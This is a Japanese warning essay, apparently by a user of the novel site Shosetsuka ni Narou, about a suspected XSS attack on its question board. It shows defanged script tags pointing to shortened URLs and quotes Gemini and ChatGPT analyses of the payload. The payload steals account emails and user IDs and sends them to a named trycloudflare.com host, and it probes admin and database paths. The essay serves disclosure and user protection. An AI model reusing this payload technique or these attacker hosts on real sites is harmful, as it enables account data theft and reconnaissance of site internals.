小説家になろうもしかしてサイバー攻撃されてる？
※このエッセイは注意喚起です。
解決した、もしくは何等かの声明が出された時点で、前置きにて報告を入れます。
この文章内に危険なコマンドなどは、実行されない形に置き換えて記載してあります。
URLは直接アクセスすると危険な可能性があるため、先頭のhは抜いてあります。
また、現状で質問板は見ないことをおすすめします。
質問板に謎の質問が飛んできていた。
ユーザー名が表示されておらず、謎の質問検索が出ていた。
そして時間が経つと、別のユーザーに差し変わり、質問の回答ありがとうございましたというメッセージに変わっていた。
質問板の回答は編集できないはずなので、外部からのスクリプトで差し替えられている可能性がある。
そこで気になったのが、質問回答の際に届くメッセージに表示されるユーザー名がjavascriptの命令になっていたこと。
そのためメッセージボックスはjavascriptをサニタイジング(Webアプリケーションの入力フォームなどを通じて送信されたデータから、悪意あるコードや不正な文字列を検出し、安全な状態に変換するセキュリティ対策のこと)をされているため問題ないだろう。
※命令ではなく文字列として表示されているため、実行された可能性は低い。
そのまま記載すると影響があるかもしれないのでかっこは省いて記載すると以下になっていました。
script src=//da.gd/ xTBU3
※2026/11/01 18:27追記 16時頃に以下も実行された形跡があります。
script src=// da.gd/ w2zcb
これはjavascriptで短縮URLであるda.gd/xTBU3を実行するというコマンドです。
メッセージボックスでは問題なさそうでしたが、質問板側は残念ながら実行されてしまっている可能性があります。
ではこの短縮URLがどうなっているか、AIに解析したところ以下の内容になっていました。
使用AI：Gemini
提供されたソースコードを解析しました。このコードは、特定のWebサイト（小説投稿サイト「小説家になろう」の運営・管理に関連するドメイン）を標的とした、悪意のあるデータ窃取および内部ネットワーク・管理機能の探索スクリプト（スパイウェア／XSSペイロード）です。
攻撃者が準備した外部のサーバー（Cloudflareの認証を悪用したURL）へ、ユーザーの個人情報やサイトの非公開情報を密かに送信する仕組みになっています。
以下に、このスクリプトが具体的にどのような挙動を行うかを解説します。
1. データの送信先（C2サーバー）の設定
コードの冒頭で、盗み出したデータを送りつけるためのサーバーのURLが定義されています。
• 送信先: ttps://trycloudflare.com
• 送信方法: new Image().src = ... という手法を使い、ダミーの画像読み込みに見せかけてURLのパラメータに盗んだデータを付与し、サーバーへ送信します（ブラウザのセキュリティ制限を回避するためによく使われる手法です）。
2. メールアドレスおよびユーザーIDの窃取
特定のページに裏でアクセスし、アカウント情報を盗み出します。
• ターゲットURL: /personalemailedit/swapconfirm/ （メールアドレス変更の確認ページなどと推測されます）
• ログイン状態を維持したまま裏でこのページにアクセス（fetch）し、ページ内に表示されているメールアドレスや、://syosetu.com というパターンから「小説家になろう」のユーザーIDを抽出します。
• さらに、そのメールアドレスが関係者（@syosetu.com や @hinaproject.com）のものかどうかも判定しています。
• 抽出されたデータは、即座に攻撃者のサーバーへ送信されます。
3. 管理画面や秘密の領域の探索
スクリプト内には、Webサイトのシステム管理用と思われるパス（URLのリスト）が大量に定義されています。
ターゲットとなっているパスの例：
/system/, /admin/, /adminhina2004/, /kanri/, /db/, /sql/, /phpmyadmin/, /csv/, /export/ など
• スクリプトは0.7秒（700ミリ秒）間隔で、これらのURLに順番に裏でアクセスを試みます。
• もしアクセスした結果が「404 Not Found」でなければ、そのページのステータスコード（200や500など）、文字数（データ量）、およびページの<title>（タイトルタグ）を収集し、攻撃者のサーバーへ送信します。
• これにより攻撃者は、「現在スクリプトを実行しているユーザー（管理者など）が、どの管理画面やデータベースにアクセスする権限を持っているか」を特定することができます。
まとめと危険性
このスクリプトは、一般的なユーザーが実行しても一般アカウントのメールアドレスやIDが盗まれるだけですが、もしサイトの運営者や管理者（Administrator）のブラウザ上で実行された場合、Webサイトの重大な管理機能やデータベースの場所が攻撃者に露呈してしまうという非常に危険な性質を持っています。
Webサイトの脆弱性（クロスサイトスクリプティング: XSS）などを突いて、管理者にこのスクリプトを踏ませる（実行させる）目的で作られたものと考えられます。
また、一つのAIだと誤った内容の可能性があるため、別のAIでの調査も記載。
使用AI：ChatGPT
2. 実行時の挙動
このタグがHTML内に配置されている場合、ブラウザは指定先からスクリプトを取得し、そのJavaScriptを実行します。
つまり、この1行自体に複雑な処理が書かれているわけではなく、実際の処理内容は外部から取得するファイルに隠されています。
3. 今回のURLについて
実際にURLの転送先を確認したところ、次のことが分かりました。
- 短縮URLサービス：da.gd
- 転送先ドメイン：x0.at
- 転送先ファイル：ttps://x0.at/ZsJX.js
- 短縮URLは最近作成されたもので、フィッシングや不正利用対策として、転送前に明示的なクリックを要求する状態です。
da.gd
したがって、現時点では短縮URLの先にあるJavaScriptの内容は確認できていません。
4. JavaScriptの実際の処理内容
転送先のJavaScript本体も確認できました。内容を解析すると、かなり問題のあるスクリプトです。
主な処理は以下のとおりです。
① メールアドレスなどの情報を取得する
fetch('/personalemailedit/swapconfirm/', {
credentials: 'include'
})
- 現在アクセスしているサイトのpersonalemailedit/swapconfirm/にアクセスする。
- ログイン状態のCookieを含めてリクエストする。
- 取得したページからメールアドレスを正規表現で抽出する。
- 小説家になろう関連のユーザーIDも抽出する。
② 外部サーバーに情報を送信する
var H = 'ttps://webcams-differential-manufacturer-devon.trycloudflare.com';
取得した情報を、Cloudflare経由の外部サーバーに送信しています。
送信対象には以下が含まれます。
- ユーザーID
- メールアドレス
- 現在閲覧しているページのパス
- 特定ドメインのメールアドレスを持つかどうか
送信には画像リクエストを利用しており、通常の画面表示では気づきにくい仕組みです。
③ サイト内部の管理系URLを調査する
さらに、以下のようなパスに対して順番にアクセスしています。
パス調査対象の例
/admin/管理画面
/system/システム関連
/db/データベース関連
/sql/SQL関連
/phpmyadmin/データベース管理画面
/user/api/ユーザーAPI
/personalemailedit/json/メール関連API
/messagebox/json/メッセージ関連API
これらのアクセス結果について、HTTPステータス、ページサイズ、タイトルなどを外部サーバーに送信しています。
なお、実際に管理画面へ侵入できたことや、データベースの情報を取得できたことまでは確認できません。
5. セキュリティ上の評価
危険性が高い
このスクリプトは、単なるアクセス解析や広告表示のためのコードとは考えにくいです。
特に問題なのは次の3点です。
1. ログイン中のユーザー情報を取得しようとしている。
2. 取得したメールアドレスなどを外部サーバーへ送信している。
3. 管理画面や内部APIなど、機密情報に関係する可能性があるURLを探索している。
動作から判断すると、小説家になろうの利用者情報を収集し、サイト内部のアクセス可能な領域を探索する目的の不審なスクリプトである可能性が高いです。
ただし、攻撃者の身元や最終的な目的までは特定できません。
6. もし実行してしまった場合
- まだ実行していないなら、絶対に実行しないでください。
- 実行済みなら、小説家になろうからログアウトし、ログインセッションの無効化を検討してください。
- メールアドレスなどの情報が外部に送信された可能性があるため、アカウントの安全性を確認してください。
なお、このスクリプトはサイトと同一オリジンのURLにアクセスするため、実行されたページのドメインによって実際の影響範囲が変わります。
以上から、質問板の脆弱性をついたクロスサイトスクリプティング攻撃の可能性が指摘されます。
こちらは小説家になろう公式へ問い合わせ済です。
